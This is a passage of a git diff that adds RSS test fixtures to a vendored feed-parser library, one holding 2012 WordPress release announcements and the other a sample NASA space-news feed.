href="http://profiles.wordpress.org/iammattthomas">Matt Thomas</a>, <a href="http://profiles.wordpress.org/mattwiebe">Matt Wiebe</a>, <a href="http://profiles.wordpress.org/mattyrob">mattyrob</a>, <a href="http://profiles.wordpress.org/maxcutler">Max Cutler</a>, <a href="http://profiles.wordpress.org/melchoyce">Mel Choyce</a>, <a href="http://profiles.wordpress.org/merty">Mert Yazicioglu</a>, <a href="http://profiles.wordpress.org/mdawaffe">Michael Adams (mdawaffe)</a>, <a href="http://profiles.wordpress.org/mfields">Michael Fields</a>, <a href="http://profiles.wordpress.org/mbijon">Mike Bijon</a>, <a href="http://profiles.wordpress.org/mdgl">Mike Glendinning</a>, <a href="http://profiles.wordpress.org/mikehansenme">Mike Hansen</a>, <a href="http://profiles.wordpress.org/mikelittle">Mike Little</a>, <a href="http://profiles.wordpress.org/mikeschinkel">Mike Schinkel</a>, <a href="http://profiles.wordpress.org/DH-Shredder">Mike Schroder</a>, <a href="http://profiles.wordpress.org/toppa">Mike Toppa</a>, <a href="http://profiles.wordpress.org/dimadin">Milan Dinic</a>, <a href="http://profiles.wordpress.org/mitchoyoshitaka">mitcho (Michael Yoshitaka Erlewine)</a>, <a href="http://profiles.wordpress.org/batmoo">Mohammad Jangda</a>, <a href="http://profiles.wordpress.org/mohanjith">mohanjith</a>, <a href="http://profiles.wordpress.org/mpvanwinkle77">mpvanwinkle77</a>, <a href="http://profiles.wordpress.org/usermrpapa">Mr Papa</a>, <a href="http://profiles.wordpress.org/murky">murky</a>, <a href="http://profiles.wordpress.org/Nao">Naoko Takano</a>, <a href="http://profiles.wordpress.org/alex-ye">Nashwan Doaqan</a>, <a href="http://profiles.wordpress.org/niallkennedy">Niall Kennedy</a>, <a href="http://profiles.wordpress.org/nbachiyski">Nikolay Bachiyski</a>, <a href="http://profiles.wordpress.org/ntm">ntm</a>, <a href="http://profiles.wordpress.org/nvartolomei">nvartolomei</a>, <a href="http://profiles.wordpress.org/pavelevap">pavelevap</a>, <a href="http://profiles.wordpress.org/pdclark">pdclark</a>, <a href="http://profiles.wordpress.org/petemall">Pete Mall</a>, <a href="http://profiles.wordpress.org/westi">Peter Westwood</a>, <a href="http://profiles.wordpress.org/pas5027">Pete Schuster</a>, <a href="http://profiles.wordpress.org/philiparthurmoore">Philip Arthur Moore</a>, <a href="http://profiles.wordpress.org/phill_brown">Phill Brown</a>, <a href="http://profiles.wordpress.org/picklepete">picklepete</a>, <a href="http://profiles.wordpress.org/picklewagon">Picklewagon</a>, <a href="http://profiles.wordpress.org/nprasath002">Prasath Nadarajah</a>, <a href="http://profiles.wordpress.org/r-a-y">r-a-y</a>, <a href="http://profiles.wordpress.org/ramiy">Rami Yushuvaev</a>, <a href="http://profiles.wordpress.org/moraleidame">Ricardo Moraleida</a>, <a href="http://profiles.wordpress.org/miqrogroove">Robert Chapin (miqrogroove)</a>, <a href="http://profiles.wordpress.org/wet">Robert Wetzlmayr</a>, <a href="http://profiles.wordpress.org/wpmuguru">Ron Rennick</a>, <a href="http://profiles.wordpress.org/rstern">rstern</a>, <a href="http://profiles.wordpress.org/ryan">Ryan Boren</a>, <a href="http://profiles.wordpress.org/ryanimel">Ryan Imel</a>, <a href="http://profiles.wordpress.org/ryanjkoehler">Ryan Koehler</a>, <a href="http://profiles.wordpress.org/markel">Ryan Markel</a>, <a href="http://profiles.wordpress.org/rmccue">Ryan McCue</a>, <a href="http://profiles.wordpress.org/zeo">Safirul Alredha</a>, <a href="http://profiles.wordpress.org/solarissmoke">Samir Shah</a>, <a href="http://profiles.wordpress.org/gluten">Sam Margulies</a>, <a href="http://profiles.wordpress.org/otto42">Samuel Wood (Otto)</a>, <a href="http://profiles.wordpress.org/saracannon">sara cannon</a>, <a href="http://profiles.wordpress.org/gandham">Satish Gandham</a>, <a href="http://profiles.wordpress.org/scottgonzalez">scott.gonzalez</a>, <a href="http://profiles.wordpress.org/sc0ttkclark">Scott Kingsley Clark</a>, <a href="http://profiles.wordpress.org/coffee2code">Scott Reilly</a>, <a href="http://profiles.wordpress.org/wonderboymusic">Scott Taylor</a>, <a href="http://profiles.wordpress.org/greglone">ScreenfeedFr</a>, <a href="http://profiles.wordpress.org/sergeysbetkenovgaroru">sergey.s.betke</a>, <a href="http://profiles.wordpress.org/sergeybiryukov">Sergey Biryukov</a>, <a href="http://profiles.wordpress.org/pross">Simon Prosser</a>, <a href="http://profiles.wordpress.org/simonwheatley">Simon Wheatley</a>, <a href="http://profiles.wordpress.org/sirzooro">sirzooro</a>, <a href="http://profiles.wordpress.org/ssamture">ssamture</a>, <a href="http://profiles.wordpress.org/sterlo">sterlo</a>, <a href="http://profiles.wordpress.org/sumindmitriy">sumindmitriy</a>, <a href="http://profiles.wordpress.org/sushkov">sushkov</a>, <a href="http://profiles.wordpress.org/swekitsune">swekitsune</a>, <a href="http://profiles.wordpress.org/iamtakashi">Takashi Irie</a>, <a href="http://profiles.wordpress.org/taylorde">Taylor Dewey</a>, <a href="http://profiles.wordpress.org/tlovett1">Taylor Lovett</a>, <a href="http://profiles.wordpress.org/saltcod">Terry Sutton</a>, <a href="http://profiles.wordpress.org/griffinjt">Thomas Griffin</a>, <a href="http://profiles.wordpress.org/tott">Thorsten Ott</a>, <a href="http://profiles.wordpress.org/timbeks">timbeks</a>, <a href="http://profiles.wordpress.org/timfs">timfs</a>, <a href="http://profiles.wordpress.org/tmoorewp">Tim Moore</a>, <a href="http://profiles.wordpress.org/tobiasbg">TobiasBg</a>, <a href="http://profiles.wordpress.org/tomasm">TomasM</a>, <a href="http://profiles.wordpress.org/tomauger">Tom Auger</a>, <a href="http://profiles.wordpress.org/tommcfarlin">tommcfarlin</a>, <a href="http://profiles.wordpress.org/willmot">Tom Willmot</a>, <a href="http://profiles.wordpress.org/toscho">toscho</a>, <a href="http://profiles.wordpress.org/wpsmith">Travis Smith</a>, <a href="http://profiles.wordpress.org/vhauri">Vasken Hauri</a>, <a href="http://profiles.wordpress.org/viniciusmassuchetto">Vinicius Massuchetto</a>, <a href="http://profiles.wordpress.org/lightningspirit">Vitor Carvalho</a>, <a href="http://profiles.wordpress.org/waclawjacek">Waclaw</a>, <a href="http://profiles.wordpress.org/waldojaquith">WaldoJaquith</a>, <a href="http://profiles.wordpress.org/wojtekszkutnik">Wojtek Szkutnik</a>, <a href="http://profiles.wordpress.org/xibe">Xavier Borderie</a>, <a href="http://profiles.wordpress.org/yoavf">Yoav Farhi</a>, <a href="http://profiles.wordpress.org/yogi-t">Yogi T</a>, <a href="http://profiles.wordpress.org/tollmanz">Zack Tollman</a>, and <a href="http://profiles.wordpress.org/zamoose">ZaMoose</a>.</p>
+]]></content:encoded>
+ <wfw:commentRss>http://wordpress.org/news/2012/12/elvin/feed/</wfw:commentRss>
+ <slash:comments>0</slash:comments>
+ </item>
+ <item>
+ <title>WordPress 3.5 Release Candidate 3</title>
+ <link>http://wordpress.org/news/2012/12/wordpress-3-5-release-candidate-3/</link>
+ <comments>http://wordpress.org/news/2012/12/wordpress-3-5-release-candidate-3/#comments</comments>
+ <pubDate>Tue, 04 Dec 2012 08:37:39 +0000</pubDate>
+ <dc:creator>Andrew Nacin</dc:creator>
+ <category><![CDATA[Development]]></category>
+ <category><![CDATA[Testing]]></category>
+
+ <guid isPermaLink="false">http://wordpress.org/news/2012/12/wordpress-3-5-release-candidate-3/</guid>
+ <description><![CDATA[The third release candidate for WordPress 3.5 is now available. We&#8217;ve made a number of changes over the last week since RC2 that we can&#8217;t wait to get into your hands. Hope you&#8217;re ready to do some testing! Final UI improvements for the new media manager, based on lots of great feedback. Show more information about [...]]]></description>
+ <content:encoded><![CDATA[<p>The third release candidate for WordPress 3.5 is now available. We&#8217;ve made a number of changes over the last week since <a title="WordPress 3.5 Release Candidate 2" href="http://wordpress.org/news/2012/11/wordpress-3-5-release-candidate-2/">RC2</a> that we can&#8217;t wait to get into your hands. Hope you&#8217;re ready to do some testing!</p>
+<ul>
+<li><span style="line-height: 13px">Final UI improvements for the new media manager, based on lots of great feedback.</span></li>
+<li>Show more information about uploading errors when they occur.</li>
+<li>When inserting an image into a post, don&#8217;t forget the alternative text.</li>
+<li>Fixes for the new admin button styles.</li>
+<li>Improvements for mobile devices, Internet Explorer, and right-to-left languages.</li>
+<li>Fix cookies for subdomain installs when multisite is installed in a subdirectory.</li>
+<li>Fix ms-files.php rewriting for very old multisite installs.</li>
+</ul>
+<p>At this point, we only have a <a href="http://core.trac.wordpress.org/report/5">few minor issues</a> left. If all goes well, you will see WordPress 3.5 very soon. If you run into any issues, please post to the <a href="http://wordpress.org/support/forum/alphabeta/">Alpha/Beta area in the support forums</a>.</p>
+<p>If you&#8217;d like to know what to test, visit the About page (<strong><img style="vertical-align: middle" alt="" src="http://wordpress.org/wp-content/themes/twentyten/images/wordpress.png" /> → About</strong> in the toolbar) and check out the list of features. This is still development software, so your boss may get mad if you install this on a live site. To test WordPress 3.5, try the <a href="http://wordpress.org/extend/plugins/wordpress-beta-tester/">WordPress Beta Tester</a> plugin (you&#8217;ll want &#8220;bleeding edge nightlies&#8221;). Or you can <a href="http://wordpress.org/wordpress-3.5-RC3.zip">download the release candidate here (zip)</a>.</p>
+]]></content:encoded>
+ <wfw:commentRss>http://wordpress.org/news/2012/12/wordpress-3-5-release-candidate-3/feed/</wfw:commentRss>
+ <slash:comments>0</slash:comments>
+ </item>
+ <item>
+ <title>WordPress 3.5 Release Candidate 2</title>
+ <link>http://wordpress.org/news/2012/11/wordpress-3-5-release-candidate-2/</link>
+ <comments>http://wordpress.org/news/2012/11/wordpress-3-5-release-candidate-2/#comments</comments>
+ <pubDate>Thu, 29 Nov 2012 19:55:12 +0000</pubDate>
+ <dc:creator>Andrew Nacin</dc:creator>
+ <category><![CDATA[Development]]></category>
+ <category><![CDATA[Testing]]></category>
+
+ <guid isPermaLink="false">http://wordpress.org/news/?p=2494</guid>
+ <description><![CDATA[The second release candidate for WordPress 3.5 is now available for download and testing. We&#8217;re still working on about a dozen remaining issues, but we hope to deliver WordPress 3.5 to your hands as early as next week. If you&#8217;d like to know what to test, visit the About page ( → About in the toolbar) and check out [...]]]></description>
+ <content:encoded><![CDATA[<p>The second release candidate for WordPress 3.5 is now available for download and testing.</p>
+<p>We&#8217;re still working on about a dozen remaining issues, but we hope to deliver WordPress 3.5 to your hands as early as next week. If you&#8217;d like to know what to test, visit the About page (<strong><img alt="" src="http://wordpress.org/wp-content/themes/twentyten/images/wordpress.png" /> → About</strong> in the toolbar) and check out the list of features! As usual, this is still development software and we suggest you do not install this on a live site unless you are adventurous.</p>
+<p><strong>Think you&#8217;ve found a bug?</strong> Please post to the <a href="http://wordpress.org/support/forum/alphabeta/">Alpha/Beta area in the support forums</a>.</p>
+<p><strong>Developers,</strong> please continue to test your plugins and themes, so that if there is a compatibility issue, we can figure it out before the final release. You can find our <a href="http://core.trac.wordpress.org/report/6">list of known issues here</a>.</p>
+<p>To test WordPress 3.5, try the <a href="http://wordpress.org/extend/plugins/wordpress-beta-tester/">WordPress Beta Tester</a> plugin (you&#8217;ll want &#8220;bleeding edge nightlies&#8221;). Or you can <a href="http://wordpress.org/wordpress-3.5-RC2.zip">download the release candidate here (zip)</a>.</p>
+<p><em>&#8211;<br />
+</em><em>We are getting close<br />
+</em><em>Should have asked for haiku help<br />
+</em><em>Please test RC2</em></p>
+]]></content:encoded>
+ <wfw:commentRss>http://wordpress.org/news/2012/11/wordpress-3-5-release-candidate-2/feed/</wfw:commentRss>
+ <slash:comments>0</slash:comments>
+ </item>
+ <item>
+ <title>WordPress 3.5 Release Candidate</title>
+ <link>http://wordpress.org/news/2012/11/wordpress-3-5-release-candidate/</link>
+ <comments>http://wordpress.org/news/2012/11/wordpress-3-5-release-candidate/#comments</comments>
+ <pubDate>Thu, 22 Nov 2012 13:35:09 +0000</pubDate>
+ <dc:creator>Andrew Nacin</dc:creator>
+ <category><![CDATA[Development]]></category>
+ <category><![CDATA[Testing]]></category>
+
+ <guid isPermaLink="false">http://wordpress.org/news/?p=2479</guid>
+ <description><![CDATA[The first release candidate for WordPress 3.5 is now available. We hope to ship WordPress 3.5 in two weeks. But to do that, we need your help! If you haven&#8217;t tested 3.5 yet, there&#8217;s no time like the present. (The oft-repeated warning: Please, not on a live site, unless you&#8217;re adventurous.) Think you&#8217;ve found a [...]]]></description>
+ <content:encoded><![CDATA[<p>The first release candidate for WordPress 3.5 is now available.</p>
+<p>We hope to ship WordPress 3.5 in <em>two weeks</em>. But to do that, we need your help! If you haven&#8217;t tested 3.5 yet, there&#8217;s no time like the present. (The oft-repeated warning: Please, not on a live site, unless you&#8217;re adventurous.)</p>
+<p><strong>Think you&#8217;ve found a bug?</strong> Please post to the <a href="http://wordpress.org/support/forum/alphabeta/">Alpha/Beta area in the support forums</a>. If any known issues come up, you’ll be able to <a href="http://core.trac.wordpress.org/report/6">find them here</a>. <strong>Developers,</strong> please test your plugins and themes, so that if there is a compatibility issue, we can figure it out before the final release.</p>
+<p>To test WordPress 3.5, try the <a href="http://wordpress.org/extend/plugins/wordpress-beta-tester/">WordPress Beta Tester</a> plugin (you&#8217;ll want &#8220;bleeding edge nightlies&#8221;). Or you can <a href="http://wordpress.org/wordpress-3.5-RC1.zip">download the release candidate here (zip)</a>.</p>
+<p>If you&#8217;d like to know what to <del>break</del> test, visit the About page (<strong><img style="vertical-align: text-top" alt="" src="http://wordpress.org/wp-content/themes/twentyten/images/wordpress.png" /> → About</strong> in the toolbar) and check out the list of features! Trust me, you want to try out media.</p>
+<p><em>Release candidate</em><br />
+<em>Three point five in two weeks time</em><br />
+<em>Please test all the things</em></p>
+]]></content:encoded>
+ <wfw:commentRss>http://wordpress.org/news/2012/11/wordpress-3-5-release-candidate/feed/</wfw:commentRss>
+ <slash:comments>0</slash:comments>
+ </item>
+ <item>
+ <title>WordPress 3.5 Beta 3</title>
+ <link>http://wordpress.org/news/2012/11/wordpress-3-5-beta-3/</link>
+ <comments>http://wordpress.org/news/2012/11/wordpress-3-5-beta-3/#comments</comments>
+ <pubDate>Tue, 13 Nov 2012 04:26:23 +0000</pubDate>
+ <dc:creator>Andrew Nacin</dc:creator>
+ <category><![CDATA[Development]]></category>
+ <category><![CDATA[Releases]]></category>
+ <category><![CDATA[Testing]]></category>
+
+ <guid isPermaLink="false">http://wordpress.org/news/?p=2467</guid>
+ <description><![CDATA[The third beta release of WordPress 3.5 is now available for download and testing. Hey, developers! We expect to WordPress 3.5 to be ready in just a few short weeks. Please, please test your plugins and themes against beta 3. Media management has been rewritten, and we&#8217;ve taken great pains to ensure most plugins will work the [...]]]></description>
+ <content:encoded><![CDATA[<p>The third beta release of WordPress 3.5 is now available for download and testing.</p>
+<p><strong>Hey, developers!</strong> We expect to WordPress 3.5 to be ready in just a few short weeks. <em>Please, please</em> test your plugins and themes against beta 3. Media management has been rewritten, and we&#8217;ve taken great pains to ensure most plugins will work the same as before, but we&#8217;re not perfect. We would like to hear about any incompatibilities we&#8217;ve caused so we can work with you to address them <em>before</em> release, rather than after. I think you&#8217;ll agree it&#8217;s much better that way. <img src='http://wordpress.org/news/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
+<p>To test WordPress 3.5, try the <a href="http://wordpress.org/extend/plugins/wordpress-beta-tester/">WordPress Beta Tester</a> plugin (you’ll want “bleeding edge nightliesâ€). Or you can <a href="http://wordpress.org/wordpress-3.5-beta3.zip">download the beta here</a> (zip). For more on 3.5, <a title="WordPress 3.5 Beta 1" href="http://wordpress.org/news/2012/09/wordpress-3-5-beta-1/">check out the extensive Beta 1 blog post</a>, which covers what’s new in version 3.5 and how you can help. We made <a href="http://core.trac.wordpress.org/log/trunk?action=stop_on_copy&amp;mode=stop_on_copy&amp;rev=22557&amp;stop_rev=22224&amp;limit=400">more than 300 changes</a> since <a href="http://wordpress.org/news/2012/10/wordpress-3-5-beta-2/">beta 2</a>. <span style="line-height: 13px">At this point, the Add Media dialog is complete, and we&#8217;re now just working on fixing up inserting images into the editor. We&#8217;ve also u</span>pdated to jQuery UI 1.9.1, SimplePie 1.3.1, and TinyMCE 3.5.7.</p>
+<p>The usual warnings apply: We can see the light at the end of the tunnel, but this is software still in development, so we don’t recommend that you run it on a production site. Set up a test site to play with the new version.</p>
+<p>As always, if you think you’ve found a bug, you can post to the <a href="http://wordpress.org/support/forum/alphabeta">Alpha/Beta area</a> in the support forums. Or, if you’re comfortable writing a reproducible bug report, <a href="http://core.trac.wordpress.org/">file one on the WordPress Trac</a>. There, you can also find <a href="http://core.trac.wordpress.org/report/5">a list of known bugs</a> and <a href="http://core.trac.wordpress.org/query?status=closed&amp;group=component&amp;milestone=3.5">everything we’ve fixed</a> so far.</p>
+<p><em>Beta three is out</em><br />
+<em>Soon, a release candidate</em><br />
+<em>Three point five is near</em></p>
+]]></content:encoded>
+ <wfw:commentRss>http://wordpress.org/news/2012/11/wordpress-3-5-beta-3/feed/</wfw:commentRss>
+ <slash:comments>0</slash:comments>
+ </item>
+ <item>
+ <title>WordPress 3.5 Beta 2</title>
+ <link>http://wordpress.org/news/2012/10/wordpress-3-5-beta-2/</link>
+ <comments>http://wordpress.org/news/2012/10/wordpress-3-5-beta-2/#comments</comments>
+ <pubDate>Sat, 13 Oct 2012 00:02:08 +0000</pubDate>
+ <dc:creator>Andrew Nacin</dc:creator>
+ <category><![CDATA[Releases]]></category>
+ <category><![CDATA[Testing]]></category>
+
+ <guid isPermaLink="false">http://wordpress.org/news/?p=2458</guid>
+ <description><![CDATA[Two weeks after the first beta, WordPress 3.5 Beta 2 is now available for download and testing. This is software still in development, so we don’t recommend that you run it on a production site. Set up a test site to play with the new version. To test WordPress 3.5, try the WordPress Beta Tester plugin (you’ll want “bleeding [...]]]></description>
+ <content:encoded><![CDATA[<p>Two weeks after the first beta, WordPress 3.5 Beta 2 is now available for download and testing.</p>
+<p>This is software still in development, so we don’t recommend that you run it on a production site. Set up a test site to play with the new version. To test WordPress 3.5, try the <a href="http://wordpress.org/extend/plugins/wordpress-beta-tester/">WordPress Beta Tester</a> plugin (you’ll want “bleeding edge nightliesâ€). Or you can <a href="http://wordpress.org/wordpress-3.5-beta2.zip">download the beta here</a> (zip).</p>
+<p>For more, <a title="WordPress 3.5 Beta 1" href="http://wordpress.org/news/2012/09/wordpress-3-5-beta-1/"><strong>check out the extensive Beta 1 blog post</strong></a>, which covers what&#8217;s new in version 3.5 and how you can help. What&#8217;s new since beta 1? I&#8217;m glad you asked:</p>
+<ul>
+<li>New workflow for working with image galleries, including drag-and-drop reordering and quick caption editing.</li>
+<li>New image editing API. (<a title="Ticket 6821" href="http://core.trac.wordpress.org/ticket/6821">#6821</a>)</li>
+<li><del>New user interface for setting static front pages for the Reading Settings screen. (<a title="Ticket 16379" href="http://core.trac.wordpress.org/ticket/16379">#16379</a>)</del></li>
+</ul>
+<p>As always, if you think you’ve found a bug, you can post to the <a href="http://wordpress.org/support/forum/alphabeta">Alpha/Beta area</a> in the support forums. Or, if you’re comfortable writing a reproducible bug report, <a href="http://core.trac.wordpress.org/">file one on the WordPress Trac</a>. There, you can also find <a href="http://core.trac.wordpress.org/report/5">a list of known bugs</a> and <a href="http://core.trac.wordpress.org/query?status=closed&amp;group=component&amp;milestone=3.5">everything we’ve fixed</a> so far. Happy testing!</p>
+]]></content:encoded>
+ <wfw:commentRss>http://wordpress.org/news/2012/10/wordpress-3-5-beta-2/feed/</wfw:commentRss>
+ <slash:comments>0</slash:comments>
+ </item>
+ <item>
+ <title>WordPress 3.5 Beta 1 (and a bonus!)</title>
+ <link>http://wordpress.org/news/2012/09/wordpress-3-5-beta-1/</link>
+ <comments>http://wordpress.org/news/2012/09/wordpress-3-5-beta-1/#comments</comments>
+ <pubDate>Thu, 27 Sep 2012 22:37:49 +0000</pubDate>
+ <dc:creator>Andrew Nacin</dc:creator>
+ <category><![CDATA[Releases]]></category>
+ <category><![CDATA[Testing]]></category>
+
+ <guid isPermaLink="false">http://wordpress.org/news/?p=2443</guid>
+ <description><![CDATA[I&#8217;m excited to announce the availability of WordPress 3.5 Beta 1. This is software still in development and we really don’t recommend that you run it on a production site — set up a test site just to play with the new version. To test WordPress 3.5, try the WordPress Beta Tester plugin (you’ll want “bleeding edge nightliesâ€). Or you can download [...]]]></description>
+ <content:encoded><![CDATA[<p>I&#8217;m excited to announce the availability of WordPress 3.5 Beta 1.</p>
+<p>This is software still in development and <strong>we <em>really</em> don’t recommend that you run it on a production site</strong> — set up a test site just to play with the new version. To test WordPress 3.5, try the <a href="http://wordpress.org/extend/plugins/wordpress-beta-tester/">WordPress Beta Tester</a> plugin (you’ll want “bleeding edge nightliesâ€). Or you can <a href="http://wordpress.org/wordpress-3.5-beta-1.zip">download the beta here</a> (zip).</p>
+<p>In just three short months, we&#8217;ve already made a few hundred changes to improve your WordPress experience. The biggest thing we&#8217;ve been working on is overhauling the media experience from the ground up. We&#8217;ve made it all fair game: How you upload photos, arrange galleries, insert images into posts, and more. It&#8217;s still rough around the edges and some pieces are missing — which means now is the <em>perfect</em> time to test it out, report issues, and help shape our headline feature.</p>
+<p>As always, if you think you’ve found a bug, you can post to the <a href="http://wordpress.org/support/forum/alphabeta">Alpha/Beta area</a> in the support forums. Or, if you’re comfortable writing a reproducible bug report, <a href="http://core.trac.wordpress.org/">file one on the WordPress Trac</a>. There, you can also find <a href="http://core.trac.wordpress.org/report/5">a list of known bugs</a> and <a href="http://core.trac.wordpress.org/query?status=closed&amp;group=component&amp;milestone=3.5">everything we&#8217;ve fixed</a> so far.</p>
+<p>Here&#8217;s some more of what&#8217;s new:</p>
+<ul>
+<li><strong>Appearance: </strong>A simplified welcome screen. A new color picker. And the all-HiDPI (retina) dashboard.</li>
+<li><strong>Accessibility:</strong> Keyboard navigation and screen reader support have both been improved.</li>
+<li><strong>Plugins: </strong>You can browse and install plugins you&#8217;ve marked as favorites on WordPress.org, directly from your dashboard.</li>
+<li><strong>Mobile: </strong>It&#8217;ll be easier to link up your WordPress install with <a href="http://wordpress.org/extend/mobile/">our mobile apps</a>, as XML-RPC is now enabled by default.</li>
+<li><strong>Links: </strong>We&#8217;ve hidden the Link Manager for new installs. (Don&#8217;t worry, <a href="http://wordpress.org/extend/plugins/link-manager/">there&#8217;s a plugin for that</a>.)</li>
+</ul>
+<p><strong>Developers: </strong>We love you. We do. And one of the things we strive to do with every release is be compatible with all existing plugins and themes. To make sure we don&#8217;t break anything, we need your help. <strong>Please, please test your plugins and themes against 3.5.</strong> If something isn&#8217;t quite right, please let us know. (Chances are, it wasn&#8217;t intentional.) And despite all of the changes to media, we&#8217;re still aiming to be backwards compatible with plugins that make changes to the existing media library. It&#8217;s a tall task, and it means we need your help.</p>
+<p>Here&#8217;s some more things we think developers will enjoy (and should test their plugins and themes against):</p>
+<ul>
+<li><strong>External libraries updated:</strong> TinyMCE  <del>3.5.6</del> 3.5.7. SimplePie <del>1.3</del> 1.3.1. jQuery <del>1.8.2</del> 1.8.3. jQuery UI <del>1.9 (and it&#8217;s not even released yet)</del> 1.9.2. We&#8217;ve also added Backbone 0.9.2 and Underscore <del>1.3.3</del> 1.4.2, and you can use protocol-relative links when enqueueing scripts and styles. (<a href="http://core.trac.wordpress.org/ticket/16560">#16560</a>)</li>
+<li><strong>WP Query:</strong> You can now ask to receive posts in the order specified by <code>post__in</code>. (<a href="http://core.trac.wordpress.org/ticket/13729">#13729</a>)</li>
+<li><strong>XML-RPC:</strong> New user management, profile editing, and post revision methods. We&#8217;ve also removed AtomPub. (<a href="http://core.trac.wordpress.org/ticket/18428">#18428</a>, <a href="http://core.trac.wordpress.org/ticket/21397">#21397</a>, <a href="http://core.trac.wordpress.org/ticket/21866">#21866</a>)</li>
+<li><strong>Multisite: </strong>switch_to_blog() is now used in more places, is faster, and more reliable. Also: You can now use multisite in a subdirectory, and uploaded files no longer go through ms-files (for new installs). (<a href="http://core.trac.wordpress.org/ticket/21434">#21434</a>, <a href="http://core.trac.wordpress.org/ticket/19796">#19796</a>, <a href="http://core.trac.wordpress.org/ticket/19235">#19235</a>)</li>
+<li><strong>TinyMCE: </strong>We&#8217;ve added an experimental API for &#8220;views&#8221; which you can use to offer previews and interaction of elements from the visual editor. (<a href="http://core.trac.wordpress.org/ticket/21812">#21812</a>)</li>
+<li><strong>Posts API: </strong>Major performance improvements when working with hierarchies of pages and post ancestors. Also, you can now &#8220;turn on&#8221; native custom columns for taxonomies on edit post screens. (<a href="http://core.trac.wordpress.org/ticket/11399">#11399</a>, <a href="http://core.trac.wordpress.org/ticket/21309">#21309</a>, <a href="http://core.trac.wordpress.org/ticket/21240">#21240</a>)</li>
+<li><strong>Comments API:</strong> Search for comments of a particular status, or with a meta query (same as with WP_Query). (<a href="http://core.trac.wordpress.org/ticket/21101">#21101</a>, <a href="http://core.trac.wordpress.org/ticket/21003">#21003</a>)</li>
+<li><strong>oEmbed: </strong>We&#8217;ve added support for a few oEmbed providers, and we now handle SSL links. (<a href="http://core.trac.wordpress.org/ticket/15734">#15734</a>, <a href="http://core.trac.wordpress.org/ticket/21635">#21635</a>, <a href="http://core.trac.wordpress.org/ticket/16996">#16996</a>, <a href="http://core.trac.wordpress.org/ticket/20102">#20102</a>)</li>
+</ul>
+<p>We&#8217;re looking forward to your feedback. If you break it (find a bug), please report it, and if you’re a developer, try to help us fix it. We&#8217;ve already had more than 200 contributors to version 3.5 — come join us!</p>
+<h3>And as promised, a bonus:</h3>
+<p>We&#8217;re planning a December 5 release for WordPress 3.5. But, we have a special offering for you, today. The newest default theme for WordPress, <strong>Twenty</strong><strong> Twelve</strong>, is now <a href="http://wordpress.org/extend/themes/twentytwelve">available for download</a> from the WordPress themes directory. It&#8217;s a gorgeous and fully responsive theme, and it works with WordPress 3.4.2. Take it for a spin!</p>
+]]></content:encoded>
+ <wfw:commentRss>http://wordpress.org/news/2012/09/wordpress-3-5-beta-1/feed/</wfw:commentRss>
+ <slash:comments>0</slash:comments>
+ </item>
+ <item>
+ <title>WordPress 3.4.2 Maintenance and Security Release</title>
+ <link>http://wordpress.org/news/2012/09/wordpress-3-4-2/</link>
+ <comments>http://wordpress.org/news/2012/09/wordpress-3-4-2/#comments</comments>
+ <pubDate>Thu, 06 Sep 2012 20:07:21 +0000</pubDate>
+ <dc:creator>Andrew Nacin</dc:creator>
+ <category><![CDATA[Releases]]></category>
+ <category><![CDATA[Security]]></category>
+
+ <guid isPermaLink="false">http://wordpress.org/news/?p=2426</guid>
+ <description><![CDATA[WordPress 3.4.2, now available for download, is a maintenance and security release for all previous versions. After nearly 15 million downloads since 3.4 was released not three months ago, we&#8217;ve identified and fixed a number of nagging bugs, including: Fix some issues with older browsers in the administration area. Fix an issue where a theme [...]]]></description>
+ <content:encoded><![CDATA[<p>WordPress 3.4.2, now available for download, is a maintenance and security release for all previous versions.</p>
+<p>After nearly 15 million downloads since 3.4 was released not three months ago, we&#8217;ve <a href="http://core.trac.wordpress.org/query?status=closed&amp;resolution=fixed&amp;milestone=3.4.2&amp;group=resolution&amp;order=severity&amp;desc=1">identified and fixed a number of nagging bugs</a>, including:</p>
+<ul>
+<li>Fix some issues with older browsers in the administration area.</li>
+<li>Fix an issue where a theme may not preview correctly, or its screenshot may not be displayed.</li>
+<li>Improve plugin compatibility with the visual editor.</li>
+<li>Address pagination problems with some category permalink structures.</li>
+<li>Avoid errors with both oEmbed providers and trackbacks.</li>
+<li>Prevent improperly sized header images from being uploaded.</li>
+</ul>
+<p>Version 3.4.2 also fixes a few security issues and contains some security hardening. The vulnerabilities included potential privilege escalation and a bug that affects multisite installs with untrusted users. These issues were discovered and fixed by the WordPress security team.</p>
+<p><a href="http://wordpress.org/download/"><strong>Download 3.4.2</strong></a><strong> now or visit Dashboard → Updates in your site admin to update now.</strong></p>
+<p><em>Fixes for some bugs<br />
+Back to work on 3.5<br />
+It&#8217;s time to update</em></p>
+]]></content:encoded>
+ <wfw:commentRss>http://wordpress.org/news/2012/09/wordpress-3-4-2/feed/</wfw:commentRss>
+ <slash:comments>0</slash:comments>
+ </item>
+ </channel>
+</rss>
diff --git a/vendor/fguillot/picofeed/tests/fixtures/rss2sample.xml b/vendor/fguillot/picofeed/tests/fixtures/rss2sample.xml
new file mode 100644
index 000000000..7eedaf813
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/rss2sample.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0"?>
+<rss version="2.0">
+ <channel>
+ <title>Liftoff News</title>
+ <link>http://liftoff.msfc.nasa.gov/</link>
+ <description>Liftoff to Space Exploration.</description>
+ <language>en-us</language>
+ <pubDate>Tue, 10 Jun 2003 04:00:00 GMT</pubDate>
+ <lastBuildDate>Tue, 10 Jun 2003 09:41:01 GMT</lastBuildDate>
+ <docs>http://blogs.law.harvard.edu/tech/rss</docs>
+ <generator>Weblog Editor 2.0</generator>
+ <managingEditor>editor@example.com</managingEditor>
+ <webMaster>webmaster@example.com</webMaster>
+ <item>
+ <title>Star City</title>
+ <link>http://liftoff.msfc.nasa.gov/news/2003/news-starcity.asp</link>
+ <description>How do Americans get ready to work with Russians aboard the International Space Station? They take a crash course in culture, language and protocol at Russia's &lt;a href="http://howe.iki.rssi.ru/GCTC/gctc_e.htm"&gt;Star City&lt;/a&gt;.</description>
+ <pubDate>Tue, 03 Jun 2003 09:39:21 GMT</pubDate>
+ <guid>http://liftoff.msfc.nasa.gov/2003/06/03.html#item573</guid>
+ </item>
+ <item>
+ <description>Sky watchers in Europe, Asia, and parts of Alaska and Canada will experience a &lt;a href="http://science.nasa.gov/headlines/y2003/30may_solareclipse.htm"&gt;partial eclipse of the Sun&lt;/a&gt; on Saturday, May 31st.</description>
+ <pubDate>Fri, 30 May 2003 11:06:42 GMT</pubDate>
